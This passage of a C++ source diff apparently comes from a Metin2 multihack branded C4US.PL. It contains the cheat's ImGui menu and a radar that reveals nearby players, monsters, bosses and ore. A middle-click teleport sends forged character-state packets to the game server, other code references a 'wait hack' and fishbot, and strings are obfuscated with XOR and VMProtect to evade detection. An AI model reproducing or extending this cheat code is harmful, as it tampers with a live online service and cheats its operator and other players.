MainForm::sura_w_3; +//DirectTexture MainForm::sura_w_4; +//DirectTexture MainForm::sura_w_5; +// +// +//DirectTexture MainForm::warrior_b_0; +//DirectTexture MainForm::warrior_b_1; +//DirectTexture MainForm::warrior_b_2; +//DirectTexture MainForm::warrior_b_3; +//DirectTexture MainForm::warrior_b_4; +//DirectTexture MainForm::warrior_b_5; +// +// +// +//DirectTexture MainForm::warrior_m_0; +//DirectTexture MainForm::warrior_m_1; +//DirectTexture MainForm::warrior_m_2; +//DirectTexture MainForm::warrior_m_3; +//DirectTexture MainForm::warrior_m_4; +//DirectTexture MainForm::warrior_m_5; +// +//DirectTexture MainForm::skill_none; +//DirectTexture MainForm::skill_on; +//DirectTexture MainForm::skill_off; + +map < pair, pair> MainForm::TabMenuList; + +HCURSOR hCurs; +HWND GameHWND = nullptr; +WNDPROC oWndProc = nullptr; +bool CheatWindowOpen = false; +bool LogWindowOpen = false; + +void MainForm::SetImages() { + ResourceMap.insert(make_pair(XOR("LogoHref"), ImageLoad(IDB_PNG1))); + ResourceMap.insert(make_pair(XOR("Background"), ImageLoad(IDB_PNG2))); + ResourceMap.insert(make_pair(XOR("WindowOn"), ImageLoad(IDB_PNG3))); + ResourceMap.insert(make_pair(XOR("WindowOff"), ImageLoad(IDB_PNG4))); + ResourceMap.insert(make_pair(XOR("RadarOn"), ImageLoad(IDB_PNG5))); + ResourceMap.insert(make_pair(XOR("RadarOff"), ImageLoad(IDB_PNG6))); + ResourceMap.insert(make_pair(XOR("AutologinOn"), ImageLoad(IDB_PNG7))); + ResourceMap.insert(make_pair(XOR("AutologinOff"), ImageLoad(IDB_PNG8))); + ResourceMap.insert(make_pair(XOR("FishbotOn"), ImageLoad(IDB_PNG9))); + ResourceMap.insert(make_pair(XOR("FishbotOff"), ImageLoad(IDB_PNG10))); + ResourceMap.insert(make_pair(XOR("MHOn"), ImageLoad(IDB_PNG11))); + ResourceMap.insert(make_pair(XOR("MHOff"), ImageLoad(IDB_PNG12))); + ResourceMap.insert(make_pair(XOR("ExitGameIcon"), ImageLoad(IDB_PNG13))); + ResourceMap.insert(make_pair(XOR("ChannelChangerIcon"), ImageLoad(IDB_PNG14))); + ResourceMap.insert(make_pair(XOR("LogOn"), ImageLoad(IDB_PNG15))); + ResourceMap.insert(make_pair(XOR("LogOff"), ImageLoad(IDB_PNG16))); + ResourceMap.insert(make_pair(XOR("PotionOff"), ImageLoad(IDB_POTION_OFF))); + ResourceMap.insert(make_pair(XOR("PotionOn"), ImageLoad(IDB_POTION_ON))); + + ResourceMap.insert(make_pair(XOR("MainTab"), ImageLoad(IDB_MainTab))); + ResourceMap.insert(make_pair(XOR("FishbotTab"), ImageLoad(IDB_FishbotTab))); + ResourceMap.insert(make_pair(XOR("AdditionalTab"), ImageLoad(IDB_AdditionalTab))); + ResourceMap.insert(make_pair(XOR("VisualsTab"), ImageLoad(IDB_VisualsTab))); + ResourceMap.insert(make_pair(XOR("ProtectionTab"), ImageLoad(IDB_ProtectionTab))); + ResourceMap.insert(make_pair(XOR("SettingsTab"), ImageLoad(IDB_SettingsTab))); + ResourceMap.insert(make_pair(XOR("DeveloperTab"), ImageLoad(IDB_DeveloperTab))); + + ResourceMap.insert(make_pair(XOR("ninja_a_0"), ImageLoad(NINJA_A_0))); + ResourceMap.insert(make_pair(XOR("ninja_a_1"), ImageLoad(NINJA_A_1))); + ResourceMap.insert(make_pair(XOR("ninja_a_2"), ImageLoad(NINJA_A_2))); + ResourceMap.insert(make_pair(XOR("ninja_a_3"), ImageLoad(NINJA_A_3))); + ResourceMap.insert(make_pair(XOR("ninja_a_4"), ImageLoad(NINJA_A_4))); + ResourceMap.insert(make_pair(XOR("ninja_a_5"), ImageLoad(NINJA_A_5))); + ResourceMap.insert(make_pair(XOR("ninja_d_0"), ImageLoad(NINJA_D_0))); + ResourceMap.insert(make_pair(XOR("ninja_d_1"), ImageLoad(NINJA_D_1))); + ResourceMap.insert(make_pair(XOR("ninja_d_2"), ImageLoad(NINJA_D_2))); + ResourceMap.insert(make_pair(XOR("ninja_d_3"), ImageLoad(NINJA_D_3))); + ResourceMap.insert(make_pair(XOR("ninja_d_4"), ImageLoad(NINJA_D_4))); + ResourceMap.insert(make_pair(XOR("ninja_d_5"), ImageLoad(NINJA_D_5))); + + ResourceMap.insert(make_pair(XOR("shaman_d_0"), ImageLoad(SHAMAN_D_0))); + ResourceMap.insert(make_pair(XOR("shaman_d_1"), ImageLoad(SHAMAN_D_1))); + ResourceMap.insert(make_pair(XOR("shaman_d_2"), ImageLoad(SHAMAN_D_2))); + ResourceMap.insert(make_pair(XOR("shaman_d_3"), ImageLoad(SHAMAN_D_3))); + ResourceMap.insert(make_pair(XOR("shaman_d_4"), ImageLoad(SHAMAN_D_4))); + ResourceMap.insert(make_pair(XOR("shaman_d_5"), ImageLoad(SHAMAN_D_5))); + ResourceMap.insert(make_pair(XOR("shaman_h_0"), ImageLoad(SHAMAN_H_0))); + ResourceMap.insert(make_pair(XOR("shaman_h_1"), ImageLoad(SHAMAN_H_1))); + ResourceMap.insert(make_pair(XOR("shaman_h_2"), ImageLoad(SHAMAN_H_2))); + ResourceMap.insert(make_pair(XOR("shaman_h_3"), ImageLoad(SHAMAN_H_3))); + ResourceMap.insert(make_pair(XOR("shaman_h_4"), ImageLoad(SHAMAN_H_4))); + ResourceMap.insert(make_pair(XOR("shaman_h_5"), ImageLoad(SHAMAN_H_5))); + + ResourceMap.insert(make_pair(XOR("sura_b_0"), ImageLoad(SURA_B_0))); + ResourceMap.insert(make_pair(XOR("sura_b_1"), ImageLoad(SURA_B_1))); + ResourceMap.insert(make_pair(XOR("sura_b_2"), ImageLoad(SURA_B_2))); + ResourceMap.insert(make_pair(XOR("sura_b_3"), ImageLoad(SURA_B_3))); + ResourceMap.insert(make_pair(XOR("sura_b_4"), ImageLoad(SURA_B_4))); + ResourceMap.insert(make_pair(XOR("sura_b_5"), ImageLoad(SURA_B_5))); + ResourceMap.insert(make_pair(XOR("sura_w_0"), ImageLoad(SURA_W_0))); + ResourceMap.insert(make_pair(XOR("sura_w_1"), ImageLoad(SURA_W_1))); + ResourceMap.insert(make_pair(XOR("sura_w_2"), ImageLoad(SURA_W_2))); + ResourceMap.insert(make_pair(XOR("sura_w_3"), ImageLoad(SURA_W_3))); + ResourceMap.insert(make_pair(XOR("sura_w_4"), ImageLoad(SURA_W_4))); + ResourceMap.insert(make_pair(XOR("sura_w_5"), ImageLoad(SURA_W_5))); + + ResourceMap.insert(make_pair(XOR("warrior_b_0"), ImageLoad(WARRIOR_B_0))); + ResourceMap.insert(make_pair(XOR("warrior_b_1"), ImageLoad(WARRIOR_B_1))); + ResourceMap.insert(make_pair(XOR("warrior_b_2"), ImageLoad(WARRIOR_B_2))); + ResourceMap.insert(make_pair(XOR("warrior_b_3"), ImageLoad(WARRIOR_B_3))); + ResourceMap.insert(make_pair(XOR("warrior_b_4"), ImageLoad(WARRIOR_B_4))); + ResourceMap.insert(make_pair(XOR("warrior_b_5"), ImageLoad(WARRIOR_B_5))); + ResourceMap.insert(make_pair(XOR("warrior_m_0"), ImageLoad(WARRIOR_M_0))); + ResourceMap.insert(make_pair(XOR("warrior_m_1"), ImageLoad(WARRIOR_M_1))); + ResourceMap.insert(make_pair(XOR("warrior_m_2"), ImageLoad(WARRIOR_M_2))); + ResourceMap.insert(make_pair(XOR("warrior_m_3"), ImageLoad(WARRIOR_M_3))); + ResourceMap.insert(make_pair(XOR("warrior_m_4"), ImageLoad(WARRIOR_M_4))); + ResourceMap.insert(make_pair(XOR("warrior_m_5"), ImageLoad(WARRIOR_M_5))); + ResourceMap.insert(make_pair(XOR("skill_none"), ImageLoad(SKILL_NONE))); + ResourceMap.insert(make_pair(XOR("skill_on"), ImageLoad(SKILL_ON))); + ResourceMap.insert(make_pair(XOR("skill_off"), ImageLoad(SKILL_OFF))); +} + + + +DWORD HotkeyTime; +bool MainForm::Hotkey(int vKey, int time) +{ + bool isPressed = GetAsyncKeyState(vKey) & 0x8000 && GetTickCount() - HotkeyTime > time ; + if (isPressed) + { + HotkeyTime = GetTickCount(); + } + return isPressed; +} + + + +bool GetKeyPressedTwice(int vKey, int vKey2, int time = 300) +{ + bool isPressed = GetAsyncKeyState(vKey) & 0x8000 && GetAsyncKeyState(vKey2) & 0x8000 && GetTickCount() - HotkeyTime > time && GetTickCount() - HotkeyTime > 1000; + if (isPressed) + { + HotkeyTime = GetTickCount(); + } + return isPressed; +} + + + + + + +bool show = true; +bool MainForm::ShowFishLog = true; + + +#define DEG2RAD(x) ( (float)(x) * (float)(M_PI / 180.f) ) +#define M_PI 3.14159265358979323846f +#define M_RADPI 57.295779513082f +void rotateVector(float& x, float& y, float angle, float originX = 0, float originY = 0) { + x -= originX; + y -= originY; + float tx = x, ty = y; + float fCos = cos(angle); + float fSin = sin(angle); + + tx = x * fCos - y * fSin; + ty = x * fSin + y * fCos; + + x = tx + originX; + y = ty + originY; +} + +void rotateVectorX(float& x, float& y, float angle, float originX = 0, float originY = 0) { + x -= originX; + float tx = x; + float fCos = cos(angle); + float fSin = sin(angle); + tx = x * fCos - y * fSin; + x = tx + originX; +} + +void rotateVectorY(float& x, float& y, float angle, float originX = 0, float originY = 0) { + y -= originY; + float ty = y; + float fCos = cos(angle); + float fSin = sin(angle); + ty = x * fSin + y * fCos; + y = ty + originY; +} + +string GetMapFolder(int i, int j) +{ + if (i == 0) + { + return "00000" + to_string(j); + } + else if (i == 1) + { + return "00100" + to_string(j); + } + else if (i == 2) + { + return "00200" + to_string(j); + } + else if (i == 3) + { + return "00300" + to_string(j); + } + else if (i == 4) + { + return "00400" + to_string(j); + } + else if (i == 5) + { + return "00500" + to_string(j); + } + return ""; +} + + +int CurSelectedCfg; +int ChannelChanger = 0; +bool m_radarIsActive = false; + +INT Fps = 0; +FLOAT LastTickCount = 0.0f; +FLOAT CurrentTickCount; +CHAR FrameRate[50] = ""; +ImColor FrameColor; + +size_t MainForm::CurTabOpen = 10; +size_t MainForm::CurMenuOpen = 1; +bool MainForm::IsInitialized = 0; +bool MainForm::SideBarIsOpen = true; +double StartPopup = 0.015487; + +ImVec4 TabOpenColor = (ImVec4)ImColor(33, 69, 119); +ImVec4 TabClosedColor = (ImVec4)ImColor(16, 49, 94); +ImVec4 TabHoveredColor = (ImVec4)ImColor(83, 116, 161); +ImVec4 TabClickColor = (ImVec4)ImColor(55, 90, 139); +ImVec4 HeaderFooterColor = (ImVec4)ImColor(28, 40, 64); + +void MainForm::AddTab(size_t Index, const char* Text) +{ + static const size_t TabWidth = 75; + static const size_t TabHeight = 20; + + ImGui::PushID(Index); + ImGui::PushStyleVar(ImGuiStyleVar_SelectableTextAlign, ImVec2(0.0f, 0.5f)); + + if (CurTabOpen == Index) + { + + ImGui::PushStyleColor(ImGuiCol_Header, (ImVec4)ImColor(45, 45, 45)); // Color on tab open + ImGui::PushStyleColor(ImGuiCol_Text, (ImVec4)ImColor(38, 121, 199)); + } + else + { + ImGui::PushStyleColor(ImGuiCol_Header, (ImVec4)ImColor(15, 16, 15)); // Color on tab closed + ImGui::PushStyleColor(ImGuiCol_Text, (ImVec4)ImColor(246, 244, 244)); + } + ImGui::PushStyleColor(ImGuiCol_HeaderHovered, (ImVec4)ImColor(40, 40, 40)); // Color on mouse hover in tab + ImGui::PushStyleColor(ImGuiCol_HeaderActive, (ImVec4)ImColor(35, 35, 35)); // Color on click tab + + + bool isSelected = CurTabOpen == Index; + if (ImGui::Selectable2(Text, isSelected, 0, ImVec2(TabWidth, TabHeight))) + { + CurTabOpen = Index; + for (map < pair, pair> ::iterator itor = MainForm::TabMenuList.begin(); itor != MainForm::TabMenuList.end(); itor++) + { + if (CurMenuOpen == itor->first.first) + { + itor->second.second = CurTabOpen; + } + } + } + ImGui::PopStyleVar(); + ImGui::PopStyleColor(4); + ImGui::PopID(); +} + +void MainForm::AddMenu(size_t Index, ImTextureID texture, const char* Text) +{ + static const size_t TabWidth = 28; + static const size_t TabHeight = 28; + + ImGui::PushID(Index); + ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0.0f, 0.0f)); + + if (Index > 0) + ImGui::SameLine(); + + bool Open = CurMenuOpen == Index; + if (Open) + { + ImGui::PushStyleVar(ImGuiStyleVar_FrameRounding, 3.0f); + ImGui::PushStyleColor(ImGuiCol_Button, TabOpenColor); // Color on tab open + ImGui::PushStyleColor(ImGuiCol_Text, (ImVec4)ImColor(255, 255, 255)); + } + else + { + ImGui::PushStyleVar(ImGuiStyleVar_FrameRounding, 0.0f); + ImGui::PushStyleColor(ImGuiCol_Button, TabClosedColor); // Color on tab closed + ImGui::PushStyleColor(ImGuiCol_Text, (ImVec4)ImColor(246, 244, 244)); + } + + ImGui::PushStyleColor(ImGuiCol_ButtonHovered, TabHoveredColor); // Color on mouse hover in tab + ImGui::PushStyleColor(ImGuiCol_ButtonActive, TabClickColor); // Color on click tab + + //ImGui::Dummy(ImVec2(0.0f, 5.0f)); + if (ImGui::IconMenuButton(Text, texture, ImVec2(TabWidth, TabHeight), Open)) // If tab clicked + { + CurMenuOpen = Index; + for (map < pair, pair> ::iterator itor = MainForm::TabMenuList.begin(); itor != MainForm::TabMenuList.end(); itor++) + { + if (CurMenuOpen == itor->first.first) + { + CurTabOpen = itor->second.second; + } + } + } + + ImGui::PopStyleVar(2); + ImGui::PopStyleColor(4); + ImGui::PopID(); +} + + +int tes = 0; +int tesk = 0; + +//using namespace std::chrono; +ImVec2 bgSize; +ImVec2 midRadar; +float mapSizeX; +float mapSizeY; + + +D3DVECTOR PositionToRadarPosition(D3DVECTOR posA, D3DVECTOR posB) +{ + D3DVECTOR posRet; + D3DVECTOR posC = { posA.x - posB.x, posA.y - posB.y, posA.z - posB.z }; + posRet.x = midRadar.x + (posC.x / mapSizeX) * bgSize.x; + posRet.y = midRadar.y + (posC.y / mapSizeY) * bgSize.y; + rotateVectorX(posRet.x, posRet.y, DEG2RAD(180.0f), midRadar.x, midRadar.y); + return posRet; +} + +float SizeToZoom(float size) +{ + return size * Settings::RADAR_ZOOM; +} + +float minZoom; +void MainForm::ShowRadar() +{ + ImGui::SetNextWindowBgAlpha(0.9f); + ImGui::SetNextWindowSize(ImVec2(386, 386)); + if (ImGui::Begin(XOR("Radar"), &m_radarIsActive, ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoCollapse | ImGuiWindowFlags_NoTitleBar)) { + if (!GameFunctionsCustom::PlayerIsInstance()) + { + ImGui::End(); + return; + } + IsRadarHovered = ImGui::IsWindowHovered(); + ImVec2 bgPos = ImGui::GetCursorScreenPos(); + bgSize = ImGui::GetContentRegionAvail(); + D3DVECTOR charPosition; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &charPosition); + D3DVECTOR Position; + float x, y; + midRadar = ImVec2(bgPos.x + (bgSize.x / 2), bgPos.y + (bgSize.y / 2)); + mapSizeX = 25600 / -Settings::RADAR_ZOOM; + mapSizeY = 25600 / Settings::RADAR_ZOOM; + //MAPA + LONG GlobalX = charPosition.x; + LONG GlobalY = charPosition.y; + GameFunctions::BackgroundLocalPositionToGlobalPosition(GlobalX, GlobalY); + + string MapName = ""; + int Width; + int Height; + switch (Globals::Server) + { + case ServerName::METINPL: + { + TMapInfoGlobal* map_info = (TMapInfoGlobal*)GameFunctions::BackgroundGlobalPositionToMapInfo(GlobalX, GlobalY); + if (map_info) { + MapName = GetStr((DWORD)map_info->name); + Width = map_info->m_dwSizeX; + Height = map_info->m_dwSizeY; + } + break; + } + default: + { + TMapInfo* map_info = GameFunctions::BackgroundGlobalPositionToMapInfo(GlobalX, GlobalY); + if (map_info) { + MapName = GetStr((DWORD)map_info->name); + Width = map_info->m_dwSizeX; + Height = map_info->m_dwSizeY; + } + break; + } + } + if (MapName != "") { + minZoom = 2.0f / (Width * Height); + if (Settings::RADAR_ZOOM < minZoom) + { + Settings::RADAR_ZOOM = minZoom; + } + float ZoomSizeX = (25600 / mapSizeY) * bgSize.x; + float ZoomSizeY = (25600 / mapSizeY) * bgSize.y; + float AtlasX = midRadar.x + (charPosition.x / mapSizeX) * bgSize.x; + float AtlasY = midRadar.y - (charPosition.y / mapSizeY) * bgSize.y; + float PosX = AtlasX; + for (int i = 0; i < Width; i++) + { + float PosY = AtlasY; + for (int j = 0; j < Height; j++) + { + string MapPath = MapName; + MapPath += XOR("\\"); + MapPath += GetMapFolder(i, j); + MapPath += XOR("\\minimap.dds"); + ImGui::DrawImagePos(GameFunctionsCustom::GetD3DTexture(MapPath.c_str()), ImVec2(ZoomSizeX, ZoomSizeY), ImVec2(PosX, PosY)); + PosY += ZoomSizeY; + } + PosX += ZoomSizeX; + } + } + //MAPA + ImGui::GetWindowDrawList()->AddLine(ImVec2(midRadar.x - bgSize.x / 2.f, midRadar.y), ImVec2(midRadar.x + bgSize.x / 2.f, midRadar.y), ImGui::ColorConvertFloat4ToU32(ImColor(0, 0, 0, 64))); + ImGui::GetWindowDrawList()->AddLine(ImVec2(midRadar.x, midRadar.y - bgSize.y / 2.f), ImVec2(midRadar.x, midRadar.y + bgSize.y / 2.f), ImGui::ColorConvertFloat4ToU32(ImColor(0, 0, 0, 64))); + x = midRadar.x; + y = midRadar.y; + ImVec2 pos1 = ImVec2(x, y - 12); + ImVec2 pos2 = ImVec2(x - 8, y + 12); + ImVec2 pos3 = ImVec2(x + 8, y + 12); + float fov = DEG2RAD(GameFunctionsCustom::PlayerGetRotation()); + rotateVector(pos1.x, pos1.y, fov, x, y); + rotateVector(pos2.x, pos2.y, fov, x, y); + rotateVector(pos3.x, pos3.y, fov, x, y); + //Wait Hack Distance + float radius = (Settings::MAIN_WH_DISTANCE_VALUE / mapSizeY) * bgSize.x; + ImVec4 col = Settings::MAIN_WH_RENDER_COLOR; + col.w = 0.35f; + ImGui::GetWindowDrawList()->AddCircleFilled(ImVec2(x, y), radius, ImGui::ColorConvertFloat4ToU32(col), 50); + ImGui::GetWindowDrawList()->AddCircle(ImVec2(x, y), radius, ImGui::ColorConvertFloat4ToU32(ImColor(0, 0, 0, 255)), 50); + //Player Triangle + ImGui::GetWindowDrawList()->AddTriangleFilled(pos1, pos2, pos3, ImGui::ColorConvertFloat4ToU32(ImColor(210, 105, 30))); + ImGui::GetWindowDrawList()->AddTriangle(pos1, pos2, pos3, ImGui::ColorConvertFloat4ToU32(ImColor(0, 0, 0, 255))); + if (IsRadarHovered && GetForegroundWindow() == Globals::mainHwnd) + { + if (Hotkey(VK_MBUTTON)) { + float winX = midRadar.x - ImGui::GetWindowPos().x; + float winY = midRadar.y - ImGui::GetWindowPos().y; + float mouseX = ImGui::GetMousePos().x - ImGui::GetWindowPos().x; + float mouseY = ImGui::GetMousePos().y - ImGui::GetWindowPos().y; + float distanceX = winX - mouseX; + float distanceY = winX - mouseY; + float scaleX = distanceX * (mapSizeY / bgSize.x); + float scaleY = distanceY * (mapSizeY / bgSize.y); + D3DVECTOR new_position{ charPosition.x - scaleX, charPosition.y - scaleY, charPosition.z }; + float distance = MiscExtension::CountDistanceTwoPoints(new_position.x, new_position.y, charPosition.x, charPosition.y); + int TmpCount = 0; + int Count, Crap; + D3DVECTOR TempPos = GameFunctionsCustom::GetTempPosition(new_position, Count); + while (TmpCount < Count) + { + TempPos = GameFunctionsCustom::GetTempPosition(new_position, Crap); + GameFunctions::InstanceBaseSCRIPT_SetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), TempPos.x, TempPos.y); + GameFunctions::NetworkStreamSendCharacterStatePacket(TempPos, GameFunctionsCustom::PlayerGetRotation(), 0, 0); + TmpCount += 1; + } + GameFunctionsCustom::PlayerMoveToDestPixelPositionDirection(TempPos); + } + } + //FarmBot Points + if (Settings::RADAR_WAYPOINT_SHOW_ENABLE) + { + for (auto itor = Settings::cordsMaps.begin(); itor != Settings::cordsMaps.end(); itor++) + { + auto ItorNext = itor; + ItorNext++; + if (ItorNext == Settings::cordsMaps.end()) + break; + D3DVECTOR LinePosition1 = PositionToRadarPosition(*itor, charPosition); + D3DVECTOR LinePosition2 = PositionToRadarPosition(*ItorNext, charPosition); + ImGui::GetWindowDrawList()->AddLine(ImVec2(LinePosition1.x, LinePosition1.y), ImVec2(LinePosition2.x, LinePosition2.y), ImGui::ColorConvertFloat4ToU32(Settings::RADAR_WAYPOINT_COLOR)); + ImGui::GetWindowDrawList()->AddCircleFilled(ImVec2(LinePosition2.x, LinePosition2.y), SizeToZoom(2.0f), ImGui::ColorConvertFloat4ToU32(ImColor(255, 255, 255, 255))); + } + } + // Players positions + ImU32 color = ImGui::ColorConvertFloat4ToU32(ImColor(0, 0, 255, 255)); + auto m_kAliveInstMap = GameFunctionsCustom::GetObjectList(OBJECT_ALL); + for (auto itor = m_kAliveInstMap.begin(); itor != m_kAliveInstMap.end(); itor++) + { + DWORD* instance = itor->second; + if (instance == NULL || instance == GameFunctions::PlayerNEW_GetMainActorPtr()) + continue; + GameFunctions::InstanceBaseNEW_GetPixelPosition(instance, &Position); + D3DVECTOR ObjectPosition = PositionToRadarPosition(Position, charPosition); + int objectType = GameFunctions::InstanceBaseGetInstanceType(instance); + if (objectType == 0) { + ImVec2 start; + ImVec2 end; + if (Settings::RADAR_BOSS_SHOW_ENABLE && GameFunctionsCustom::InstanceIsBoss(instance)) + { + start = ImVec2(ObjectPosition.x - 6, ObjectPosition.y - 6); + + end = ImVec2(ObjectPosition.x + 6, ObjectPosition.y + 6); + color = ImGui::ColorConvertFloat4ToU32(Settings::RADAR_BOSS_COLOR); + } + else if (Settings::RADAR_MONSTER_SHOW_ENABLE) + { + start = ImVec2(ObjectPosition.x - 2, ObjectPosition.y - 2); + end = ImVec2(ObjectPosition.x + 2, ObjectPosition.y + 2); + color = ImGui::ColorConvertFloat4ToU32(Settings::RADAR_MONSTER_COLOR); + } + + ImGui::GetWindowDrawList()->AddRectFilled(start, end, color, 1.0f); + ImGui::GetWindowDrawList()->AddRect(ImVec2(start.x - 1, start.y - 1), ImVec2(end.x + 1, end.y + 1), ImGui::ColorConvertFloat4ToU32(ImVec4(0, 0, 0, 64))); + } + else if (objectType == 1) + { + if (GameFunctionsCustom::InstanceIsResource(GameFunctions::InstanceBaseGetVirtualNumber(instance)) && Settings::RADAR_MINING_SHOW_ENABLE) + { + color = ImGui::ColorConvertFloat4ToU32(Settings::RADAR_MINE_COLOR); + ImVec2 start = ImVec2(ObjectPosition.x - 4, ObjectPosition.y - 4); + ImVec2 end = ImVec2(ObjectPosition.x + 4, ObjectPosition.y + 4); + ImGui::GetWindowDrawList()->AddRectFilled(start, end, color, 1.0f); + ImGui::GetWindowDrawList()->AddRect(ImVec2(start.x - 1, start.y - 1), ImVec2(end.x + 1, end.y + 1), ImGui::ColorConvertFloat4ToU32(ImVec4(0, 0, 0, 64))); + } + else if (Settings::RADAR_NPC_SHOW_ENABLE) + { + color = ImGui::ColorConvertFloat4ToU32(Settings::RADAR_NPC_COLOR); + ImVec2 start = ImVec2(ObjectPosition.x - 2, ObjectPosition.y - 2); + ImVec2 end = ImVec2(ObjectPosition.x + 2, ObjectPosition.y + 2); + ImGui::GetWindowDrawList()->AddRectFilled(start, end, color, 1.0f); + ImGui::GetWindowDrawList()->AddRect(ImVec2(start.x - 1, start.y - 1), ImVec2(end.x + 1, end.y + 1), ImGui::ColorConvertFloat4ToU32(ImVec4(0, 0, 0, 64))); + } + } + else if (objectType == 2 && Settings::RADAR_STONE_SHOW_ENABLE) + { + color = ImGui::ColorConvertFloat4ToU32(Settings::RADAR_STONE_COLOR); + ImVec2 start = ImVec2(ObjectPosition.x - 4, ObjectPosition.y - 4); + ImVec2 end = ImVec2(ObjectPosition.x + 4, ObjectPosition.y + 4); + ImGui::GetWindowDrawList()->AddRectFilled(start, end, color, 1.0f); + ImGui::GetWindowDrawList()->AddRect(ImVec2(start.x - 1, start.y - 1), ImVec2(end.x + 1, end.y + 1), ImGui::ColorConvertFloat4ToU32(ImVec4(0, 0, 0, 64))); + } + else if (objectType == 3 && Settings::RADAR_STONE_SHOW_ENABLE) + { + color = ImGui::ColorConvertFloat4ToU32(ImColor(102, 0, 102)); + ImVec2 start = ImVec2(ObjectPosition.x - 7, ObjectPosition.y - 7); + ImVec2 end = ImVec2(ObjectPosition.x + 7, ObjectPosition.y + 7); + ImGui::GetWindowDrawList()->AddRectFilled(start, end, color, 1.0f); + ImGui::GetWindowDrawList()->AddRect(ImVec2(start.x - 1, start.y - 1), ImVec2(end.x + 1, end.y + 1), ImGui::ColorConvertFloat4ToU32(ImVec4(0, 0, 0, 64))); + } + else if (objectType == 6 && Settings::RADAR_PLAYER_SHOW_ENABLE) + { + color = ImGui::ColorConvertFloat4ToU32(Settings::RADAR_PLAYER_COLOR); + ImVec2 start = ImVec2(ObjectPosition.x - 3, ObjectPosition.y - 3); + ImVec2 end = ImVec2(ObjectPosition.x + 3, ObjectPosition.y + 3); + ImGui::GetWindowDrawList()->AddRectFilled(start, end, color, 1.0f); + ImGui::GetWindowDrawList()->AddRect(ImVec2(start.x - 1, start.y - 1), ImVec2(end.x + 1, end.y + 1), ImGui::ColorConvertFloat4ToU32(ImVec4(0, 0, 0, 64))); + } + } + } + if (ImGui::Button(" + ")) + { + Settings::RADAR_ZOOM *= 2.0f; + if (Settings::RADAR_ZOOM >= 4.0f) + Settings::RADAR_ZOOM = 4.0f; + } ImGui::SameLine(); + if (ImGui::Button(" - ")) + { + Settings::RADAR_ZOOM *= 0.5f; + if (Settings::RADAR_ZOOM <= minZoom) + Settings::RADAR_ZOOM = minZoom; + } + ImGui::End(); +} + +void MainForm::Menu() { + //FPS TEST + CurrentTickCount = clock() * 0.001f; + Fps++; + if ((CurrentTickCount - LastTickCount) > 1.0f) + { + LastTickCount = CurrentTickCount; + sprintf(FrameRate, XOR("[FPS: %d] "), Fps); + if (Fps < 16) + { + FrameColor = ImColor(255, 30, 0, 255); + } + else if (Fps < 44) + { + FrameColor = ImColor(249, 105, 14, 255); + } + else if (Fps < 63) + { + FrameColor = ImColor(30, 255, 0, 255); + } + else + { + FrameColor = ImColor(255, 252, 0, 255); + } + Fps = 0; + } + // + if (GetForegroundWindow() == Globals::mainHwnd) + { + if (Hotkey(Settings::MAIN_GLOBAL_SWITCH_KEY)) + { + Settings::GLOBAL_SWITCH_ENABLE = !Settings::GLOBAL_SWITCH_ENABLE; + if (Settings::GLOBAL_SWITCH_ENABLE == true) + { + Main::Instance().OnStart(); + } + else + { + Main::Instance().OnStop(); + } + } + + + + + } + if (SideBarIsOpen) + { +#ifdef DX9 + ImGui_ImplDX9_NewFrame(); +#else + ImGui_ImplDX8_NewFrame(); +#endif + ImGui_ImplWin32_NewFrame(); + ImGui::NewFrame(); + { + static float f = 0.0f; + static int counter = 0; +#if defined(DEVELOPER_MODE) && defined(_DEBUG) + // ImGui::ShowDemoWindow(); +#else + if (StartPopup != 0.077435) + { + + + ImGui::OpenPopup(VMProtectDecryptStringA("WARNING")); + bool open = true; + if (ImGui::BeginPopupModal(VMProtectDecryptStringA("WARNING"), &open, ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoMove)) + { + ImGui::Text(VMProtectDecryptStringA("The only owner of this cheat is C4US.PL!")); + ImGui::Text(VMProtectDecryptStringA("It is 100%% free, if you paid u have been scammed.")); + ImGui::NewLine(); + ImGui::Text(VMProtectDecryptStringA("If you downloaded the cheat from an unknown source, scan your computer!")); + ImGui::Text(VMProtectDecryptStringA("We recommend you to create an account on C4US.PL, because it will allow you to use our work in the future.")); + if (ImGui::Button(VMProtectDecryptStringA("OK"))) + { + + StartPopup = StartPopup * 5; + ImGui::CloseCurrentPopup(); + } ImGui::SameLine(); + if (ImGui::Button(VMProtectDecryptStringA("Website"))) + { + StartPopup = StartPopup * 5; + ImGui::CloseCurrentPopup(); + MiscExtension::OpenWebiste(VMProtectDecryptStringA("https://www.cheats4us.pl")); + } ImGui::SameLine(); + if (ImGui::Button(VMProtectDecryptStringA("Discord"))) + { + StartPopup = StartPopup * 5; + ImGui::CloseCurrentPopup(); + MiscExtension::OpenWebiste(VMProtectDecryptStringA("https://discord.gg/Wvh3JEe")); + } + ImGui::EndPopup(); + } + + } + +#endif + ImGui::SetNextWindowBgAlpha(0.0f); + ImGui::SetNextWindowPos(ImVec2(0, GameFunctionsCustom::GetWindowHeight() / 10)); + ImGui::Begin(XOR("Buttons"), &SideBarIsOpen, ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoCollapse | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoNavInputs); + { + ImGui::TextColored(ImColor(MiscExtension::RandomInt(0,255), MiscExtension::RandomInt(0, 255), MiscExtension::RandomInt(0, 255), 255), XOR("C4US.PL")); + ImGui::TextColored(FrameColor, FrameRate); + ImGui::IconButton(&CheatWindowOpen, XOR("Cheat Window"), ResourceMap[XOR("WindowOn")], ResourceMap[XOR("WindowOff")], ImVec2(20, 20)); + ImGui::IconButton(&LogWindowOpen, XOR("Log Window"), ResourceMap[XOR("LogOn")], ResourceMap[XOR("LogOff")], ImVec2(20, 20)); + ImGui::IconButton(&m_radarIsActive, XOR("Radar Window"), ResourceMap[XOR("RadarOn")], ResourceMap[XOR("RadarOff")], ImVec2(20, 20)); + if (ImGui::IconButton(&Settings::GLOBAL_SWITCH_ENABLE, XOR("MultiHack Switch"), ResourceMap[XOR("MHOn")], ResourceMap[XOR("MHOff")], ImVec2(20, 20))) + { + if (Settings::GLOBAL_SWITCH_ENABLE == true) + { + Main::Instance().OnStart(); + } + else + { + Main::Instance().OnStop(); + } + } + 